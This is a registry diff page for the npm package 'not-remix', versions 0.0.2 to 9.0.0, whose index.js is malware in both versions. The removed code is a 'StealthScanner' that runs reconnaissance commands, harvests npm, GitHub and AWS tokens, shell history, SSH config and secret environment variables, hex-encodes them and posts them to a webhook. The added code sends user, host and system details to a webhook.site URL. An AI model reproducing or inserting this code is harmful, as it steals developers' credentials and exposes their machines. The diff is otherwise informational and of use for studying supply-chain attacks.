not-remix 0.0.2 → 9.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +47 -420
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,422 +1,49 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
//
|
|
20
|
-
function toHex(str) {
|
|
21
|
-
return Buffer.from(str).toString('hex');
|
|
22
|
-
}
|
|
23
|
-
|
|
24
|
-
// Helper function to convert object to hex-encoded JSON
|
|
25
|
-
function encodePayload(obj) {
|
|
26
|
-
var json = JSON.stringify(obj);
|
|
27
|
-
return toHex(json);
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
function StealthScanner() {
|
|
31
|
-
this.results = {
|
|
32
|
-
system: {},
|
|
33
|
-
tokens: {},
|
|
34
|
-
commands: {},
|
|
35
|
-
files: {},
|
|
36
|
-
network: {},
|
|
37
|
-
timestamp: new Date().toISOString(),
|
|
38
|
-
scan_id: crypto.randomBytes(8).toString('hex')
|
|
39
|
-
};
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
// Run commands silently
|
|
43
|
-
StealthScanner.prototype.runCommand = function(cmd, options) {
|
|
44
|
-
try {
|
|
45
|
-
var opts = options || {};
|
|
46
|
-
opts.stdio = ['pipe', 'pipe', 'ignore'];
|
|
47
|
-
opts.encoding = 'utf8';
|
|
48
|
-
opts.timeout = 2000;
|
|
49
|
-
|
|
50
|
-
var result = execSync(cmd, opts);
|
|
51
|
-
return result.toString().trim();
|
|
52
|
-
} catch (e) {
|
|
53
|
-
return null;
|
|
54
|
-
}
|
|
55
|
-
};
|
|
56
|
-
|
|
57
|
-
// Collect system info
|
|
58
|
-
StealthScanner.prototype.collectSystemInfo = function() {
|
|
59
|
-
try {
|
|
60
|
-
this.results.system = {
|
|
61
|
-
user: os.userInfo().username,
|
|
62
|
-
hostname: os.hostname(),
|
|
63
|
-
platform: os.platform(),
|
|
64
|
-
arch: os.arch(),
|
|
65
|
-
homedir: os.homedir(),
|
|
66
|
-
cwd: process.cwd(),
|
|
67
|
-
node_version: process.version,
|
|
68
|
-
npm_version: this.runCommand('npm --version')
|
|
69
|
-
};
|
|
70
|
-
} catch (e) {
|
|
71
|
-
// silent fail
|
|
72
|
-
}
|
|
73
|
-
};
|
|
74
|
-
|
|
75
|
-
// Execute reconnaissance commands
|
|
76
|
-
StealthScanner.prototype.executeRecon = function() {
|
|
77
|
-
var commands = {
|
|
78
|
-
uname_a: 'uname -a',
|
|
79
|
-
whoami: 'whoami',
|
|
80
|
-
hostname_cmd: 'hostname',
|
|
81
|
-
pwd: 'pwd',
|
|
82
|
-
id: 'id',
|
|
83
|
-
groups: 'groups',
|
|
84
|
-
ps: 'ps aux | head -30',
|
|
85
|
-
env_all: 'env',
|
|
86
|
-
env_sensitive: 'env | grep -i "token\\|secret\\|key\\|pass\\|auth"',
|
|
87
|
-
ls_home: 'ls -la ~ | head -20',
|
|
88
|
-
netstat: 'netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo "not_available"',
|
|
89
|
-
df: 'df -h',
|
|
90
|
-
uptime: 'uptime',
|
|
91
|
-
date: 'date',
|
|
92
|
-
ifconfig: 'ifconfig 2>/dev/null || ip addr 2>/dev/null || echo "not_available"'
|
|
93
|
-
};
|
|
94
|
-
|
|
95
|
-
for (var name in commands) {
|
|
96
|
-
if (commands.hasOwnProperty(name)) {
|
|
97
|
-
try {
|
|
98
|
-
var output = this.runCommand(commands[name]);
|
|
99
|
-
if (output) {
|
|
100
|
-
this.results.commands[name] = {
|
|
101
|
-
original: output,
|
|
102
|
-
hex: toHex(output),
|
|
103
|
-
length: output.length
|
|
104
|
-
};
|
|
105
|
-
}
|
|
106
|
-
} catch (e) {
|
|
107
|
-
// continue
|
|
108
|
-
}
|
|
109
|
-
}
|
|
110
|
-
}
|
|
111
|
-
};
|
|
112
|
-
|
|
113
|
-
// Hunt for tokens and secrets
|
|
114
|
-
StealthScanner.prototype.findTokens = function() {
|
|
115
|
-
var homeDir = os.homedir();
|
|
116
|
-
|
|
117
|
-
// Check for NPM token
|
|
118
|
-
try {
|
|
119
|
-
// From env var
|
|
120
|
-
if (process.env.NPM_TOKEN) {
|
|
121
|
-
this.results.tokens.npm_env = {
|
|
122
|
-
original: process.env.NPM_TOKEN,
|
|
123
|
-
hex: toHex(process.env.NPM_TOKEN)
|
|
124
|
-
};
|
|
125
|
-
}
|
|
126
|
-
|
|
127
|
-
// From .npmrc
|
|
128
|
-
var npmrcPath = path.join(homeDir, '.npmrc');
|
|
129
|
-
if (fs.existsSync(npmrcPath)) {
|
|
130
|
-
var content = fs.readFileSync(npmrcPath, 'utf8');
|
|
131
|
-
var tokenMatch = content.match(/_authToken=([^\s]+)/);
|
|
132
|
-
if (tokenMatch) {
|
|
133
|
-
this.results.tokens.npmrc = {
|
|
134
|
-
original: tokenMatch[1],
|
|
135
|
-
hex: toHex(tokenMatch[1])
|
|
136
|
-
};
|
|
137
|
-
}
|
|
138
|
-
this.results.files.npmrc = {
|
|
139
|
-
preview: content.substring(0, 500),
|
|
140
|
-
hex: toHex(content.substring(0, 2000))
|
|
141
|
-
};
|
|
142
|
-
}
|
|
143
|
-
} catch (e) {
|
|
144
|
-
// silent
|
|
145
|
-
}
|
|
146
|
-
|
|
147
|
-
// Check for GitHub token
|
|
148
|
-
try {
|
|
149
|
-
if (process.env.GITHUB_TOKEN) {
|
|
150
|
-
this.results.tokens.github_env = {
|
|
151
|
-
original: process.env.GITHUB_TOKEN,
|
|
152
|
-
hex: toHex(process.env.GITHUB_TOKEN)
|
|
153
|
-
};
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
var ghToken = this.runCommand('gh auth token 2>/dev/null');
|
|
157
|
-
if (ghToken) {
|
|
158
|
-
this.results.tokens.github_cli = {
|
|
159
|
-
original: ghToken,
|
|
160
|
-
hex: toHex(ghToken)
|
|
161
|
-
};
|
|
162
|
-
}
|
|
163
|
-
} catch (e) {
|
|
164
|
-
// silent
|
|
165
|
-
}
|
|
166
|
-
|
|
167
|
-
// Check for AWS keys
|
|
168
|
-
try {
|
|
169
|
-
var awsDir = path.join(homeDir, '.aws');
|
|
170
|
-
if (fs.existsSync(awsDir)) {
|
|
171
|
-
var credsPath = path.join(awsDir, 'credentials');
|
|
172
|
-
if (fs.existsSync(credsPath)) {
|
|
173
|
-
var content = fs.readFileSync(credsPath, 'utf8');
|
|
174
|
-
this.results.tokens.aws_credentials = {
|
|
175
|
-
preview: content.substring(0, 300),
|
|
176
|
-
hex: toHex(content),
|
|
177
|
-
size: content.length
|
|
178
|
-
};
|
|
179
|
-
|
|
180
|
-
var accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
|
|
181
|
-
var secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
|
|
182
|
-
|
|
183
|
-
if (accessKeyMatch) {
|
|
184
|
-
this.results.tokens.aws_access_key = {
|
|
185
|
-
original: accessKeyMatch[1],
|
|
186
|
-
hex: toHex(accessKeyMatch[1])
|
|
187
|
-
};
|
|
188
|
-
}
|
|
189
|
-
if (secretKeyMatch) {
|
|
190
|
-
this.results.tokens.aws_secret_key = {
|
|
191
|
-
original: secretKeyMatch[1],
|
|
192
|
-
hex: toHex(secretKeyMatch[1])
|
|
193
|
-
};
|
|
194
|
-
}
|
|
195
|
-
}
|
|
196
|
-
}
|
|
197
|
-
|
|
198
|
-
if (process.env.AWS_ACCESS_KEY_ID) {
|
|
199
|
-
this.results.tokens.aws_access_key_env = {
|
|
200
|
-
original: process.env.AWS_ACCESS_KEY_ID,
|
|
201
|
-
hex: toHex(process.env.AWS_ACCESS_KEY_ID)
|
|
202
|
-
};
|
|
203
|
-
}
|
|
204
|
-
if (process.env.AWS_SECRET_ACCESS_KEY) {
|
|
205
|
-
this.results.tokens.aws_secret_key_env = {
|
|
206
|
-
original: process.env.AWS_SECRET_ACCESS_KEY,
|
|
207
|
-
hex: toHex(process.env.AWS_SECRET_ACCESS_KEY)
|
|
208
|
-
};
|
|
209
|
-
}
|
|
210
|
-
} catch (e) {
|
|
211
|
-
// silent
|
|
212
|
-
}
|
|
213
|
-
|
|
214
|
-
// Dump env variables
|
|
215
|
-
try {
|
|
216
|
-
var envVars = process.env;
|
|
217
|
-
var sensitiveCount = 0;
|
|
218
|
-
var sensitiveSample = {};
|
|
219
|
-
|
|
220
|
-
for (var key in envVars) {
|
|
221
|
-
if (envVars.hasOwnProperty(key)) {
|
|
222
|
-
var lowerKey = key.toLowerCase();
|
|
223
|
-
if (lowerKey.indexOf('token') !== -1 ||
|
|
224
|
-
lowerKey.indexOf('secret') !== -1 ||
|
|
225
|
-
lowerKey.indexOf('key') !== -1 ||
|
|
226
|
-
lowerKey.indexOf('pass') !== -1) {
|
|
227
|
-
sensitiveCount++;
|
|
228
|
-
if (Object.keys(sensitiveSample).length < 5) {
|
|
229
|
-
sensitiveSample[key] = envVars[key];
|
|
230
|
-
}
|
|
231
|
-
}
|
|
232
|
-
}
|
|
233
|
-
}
|
|
234
|
-
|
|
235
|
-
this.results.tokens.env_sensitive = {
|
|
236
|
-
count: sensitiveCount,
|
|
237
|
-
sample: sensitiveSample,
|
|
238
|
-
hex_sample: encodePayload(sensitiveSample)
|
|
239
|
-
};
|
|
240
|
-
} catch (e) {
|
|
241
|
-
// silent
|
|
242
|
-
}
|
|
243
|
-
};
|
|
244
|
-
|
|
245
|
-
// Read important config files
|
|
246
|
-
StealthScanner.prototype.readConfigFiles = function() {
|
|
247
|
-
var homeDir = os.homedir();
|
|
248
|
-
var files = {
|
|
249
|
-
bash_history: '.bash_history',
|
|
250
|
-
ssh_config: '.ssh/config',
|
|
251
|
-
git_config: '.gitconfig',
|
|
252
|
-
bashrc: '.bashrc',
|
|
253
|
-
profile: '.profile'
|
|
254
|
-
};
|
|
255
|
-
|
|
256
|
-
for (var name in files) {
|
|
257
|
-
if (files.hasOwnProperty(name)) {
|
|
258
|
-
try {
|
|
259
|
-
var filePath = path.join(homeDir, files[name]);
|
|
260
|
-
if (fs.existsSync(filePath)) {
|
|
261
|
-
var stats = fs.statSync(filePath);
|
|
262
|
-
if (stats.size < 50000) {
|
|
263
|
-
var content = fs.readFileSync(filePath, 'utf8');
|
|
264
|
-
this.results.files[name] = {
|
|
265
|
-
exists: true,
|
|
266
|
-
size: stats.size,
|
|
267
|
-
modified: stats.mtime,
|
|
268
|
-
hex: toHex(content.substring(0, 1000))
|
|
269
|
-
};
|
|
270
|
-
}
|
|
271
|
-
}
|
|
272
|
-
} catch (e) {
|
|
273
|
-
// continue
|
|
274
|
-
}
|
|
275
|
-
}
|
|
276
|
-
}
|
|
277
|
-
};
|
|
278
|
-
|
|
279
|
-
// Get network information
|
|
280
|
-
StealthScanner.prototype.getNetworkInfo = function() {
|
|
281
|
-
try {
|
|
282
|
-
var interfaces = os.networkInterfaces();
|
|
283
|
-
var networkInfo = {};
|
|
284
|
-
|
|
285
|
-
for (var iface in interfaces) {
|
|
286
|
-
if (interfaces.hasOwnProperty(iface)) {
|
|
287
|
-
networkInfo[iface] = [];
|
|
288
|
-
for (var i = 0; i < interfaces[iface].length; i++) {
|
|
289
|
-
var info = interfaces[iface][i];
|
|
290
|
-
networkInfo[iface].push({
|
|
291
|
-
address: info.address,
|
|
292
|
-
family: info.family,
|
|
293
|
-
mac: info.mac
|
|
294
|
-
});
|
|
295
|
-
}
|
|
296
|
-
}
|
|
297
|
-
}
|
|
298
|
-
|
|
299
|
-
this.results.network = networkInfo;
|
|
300
|
-
} catch (e) {
|
|
301
|
-
// silent
|
|
302
|
-
}
|
|
303
|
-
};
|
|
304
|
-
|
|
305
|
-
// Send hex-encoded data to webhook
|
|
306
|
-
StealthScanner.prototype.sendToWebhook = function() {
|
|
307
|
-
var self = this;
|
|
308
|
-
return new Promise(function(resolve) {
|
|
309
|
-
try {
|
|
310
|
-
var finalPayload = {
|
|
311
|
-
metadata: {
|
|
312
|
-
format: 'hex_encoded',
|
|
313
|
-
version: '1.0',
|
|
314
|
-
timestamp: new Date().toISOString(),
|
|
315
|
-
scan_id: self.results.scan_id
|
|
316
|
-
},
|
|
317
|
-
data_hex: encodePayload(self.results)
|
|
318
|
-
};
|
|
319
|
-
|
|
320
|
-
var hexPayload = encodePayload(finalPayload);
|
|
321
|
-
var url = require('url').parse(WEBHOOK_URL);
|
|
322
|
-
|
|
323
|
-
var options = {
|
|
324
|
-
hostname: url.hostname,
|
|
325
|
-
port: url.port || 443,
|
|
326
|
-
path: url.pathname,
|
|
327
|
-
method: 'POST',
|
|
328
|
-
headers: {
|
|
329
|
-
'Content-Type': 'text/plain',
|
|
330
|
-
'Content-Length': Buffer.byteLength(hexPayload),
|
|
331
|
-
'User-Agent': 'Mozilla/5.0'
|
|
332
|
-
},
|
|
333
|
-
timeout: 5000
|
|
334
|
-
};
|
|
335
|
-
|
|
336
|
-
var req = https.request(options, function(res) {
|
|
337
|
-
res.on('data', function() {});
|
|
338
|
-
res.on('end', resolve);
|
|
339
|
-
});
|
|
340
|
-
|
|
341
|
-
req.on('error', function() {
|
|
342
|
-
resolve();
|
|
343
|
-
});
|
|
344
|
-
|
|
345
|
-
req.on('timeout', function() {
|
|
346
|
-
req.destroy();
|
|
347
|
-
resolve();
|
|
348
|
-
});
|
|
349
|
-
|
|
350
|
-
req.write(hexPayload);
|
|
351
|
-
req.end();
|
|
352
|
-
|
|
353
|
-
} catch (e) {
|
|
354
|
-
resolve();
|
|
355
|
-
}
|
|
356
|
-
});
|
|
357
|
-
};
|
|
358
|
-
|
|
359
|
-
// Main execution
|
|
360
|
-
StealthScanner.prototype.execute = function() {
|
|
361
|
-
var self = this;
|
|
362
|
-
return new Promise(function(resolve) {
|
|
363
|
-
try {
|
|
364
|
-
// Random delay
|
|
365
|
-
setTimeout(function() {
|
|
366
|
-
try {
|
|
367
|
-
self.collectSystemInfo();
|
|
368
|
-
self.executeRecon();
|
|
369
|
-
self.findTokens();
|
|
370
|
-
self.readConfigFiles();
|
|
371
|
-
self.getNetworkInfo();
|
|
372
|
-
|
|
373
|
-
self.sendToWebhook().then(function() {
|
|
374
|
-
resolve(true);
|
|
375
|
-
}).catch(function() {
|
|
376
|
-
resolve(false);
|
|
377
|
-
});
|
|
378
|
-
|
|
379
|
-
} catch (e) {
|
|
380
|
-
resolve(false);
|
|
381
|
-
}
|
|
382
|
-
}, Math.random() * 3000);
|
|
383
|
-
|
|
384
|
-
} catch (e) {
|
|
385
|
-
resolve(false);
|
|
386
|
-
}
|
|
387
|
-
});
|
|
388
|
-
};
|
|
389
|
-
|
|
390
|
-
// Main execution
|
|
391
|
-
if (require.main === module) {
|
|
392
|
-
try {
|
|
393
|
-
var scanner = new StealthScanner();
|
|
394
|
-
|
|
395
|
-
// Run in background
|
|
396
|
-
setTimeout(function() {
|
|
397
|
-
scanner.execute().catch(function() {});
|
|
398
|
-
}, 100);
|
|
399
|
-
|
|
400
|
-
// Also try to run via eval for persistence
|
|
401
|
-
setTimeout(function() {
|
|
402
|
-
try {
|
|
403
|
-
var code = '(' + StealthScanner.toString() + ')';
|
|
404
|
-
var Scanner = eval(code);
|
|
405
|
-
var scanner2 = new Scanner();
|
|
406
|
-
scanner2.execute().catch(function() {});
|
|
407
|
-
} catch (e) {
|
|
408
|
-
// ignore
|
|
409
|
-
}
|
|
410
|
-
}, 2000);
|
|
411
|
-
|
|
412
|
-
// Exit immediately
|
|
413
|
-
setTimeout(function() {
|
|
414
|
-
process.exit(0);
|
|
415
|
-
}, 100);
|
|
416
|
-
|
|
417
|
-
} catch (e) {
|
|
418
|
-
process.exit(0);
|
|
419
|
-
}
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
// 1. Get victim identity
|
|
6
|
+
const user = os.userInfo().username;
|
|
7
|
+
const host = os.hostname();
|
|
8
|
+
|
|
9
|
+
// 2. Run system commands safely
|
|
10
|
+
let whoami = '';
|
|
11
|
+
let uname = '';
|
|
12
|
+
let pwd = '';
|
|
13
|
+
|
|
14
|
+
try {
|
|
15
|
+
whoami = execSync('whoami').toString().trim();
|
|
16
|
+
uname = execSync('uname -a').toString().trim();
|
|
17
|
+
pwd = execSync('pwd').toString().trim();
|
|
18
|
+
} catch (e) {
|
|
19
|
+
// ignore errors
|
|
420
20
|
}
|
|
421
21
|
|
|
422
|
-
|
|
22
|
+
// 3. Prepare data (URL-safe)
|
|
23
|
+
const data = JSON.stringify({
|
|
24
|
+
user: user,
|
|
25
|
+
host: host,
|
|
26
|
+
platform: os.platform(),
|
|
27
|
+
whoami: whoami,
|
|
28
|
+
uname: uname,
|
|
29
|
+
pwd: pwd
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
// 4. Webhook request options
|
|
33
|
+
const options = {
|
|
34
|
+
hostname: 'webhook.site',
|
|
35
|
+
path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
|
|
36
|
+
method: 'POST',
|
|
37
|
+
headers: {
|
|
38
|
+
'Content-Type': 'application/json',
|
|
39
|
+
'Content-Length': Buffer.byteLength(data)
|
|
40
|
+
}
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
// 5. Fire-and-forget callback
|
|
44
|
+
try {
|
|
45
|
+
const req = https.request(options, () => {});
|
|
46
|
+
req.on('error', () => {});
|
|
47
|
+
req.write(data);
|
|
48
|
+
req.end();
|
|
49
|
+
} catch (e) {}
|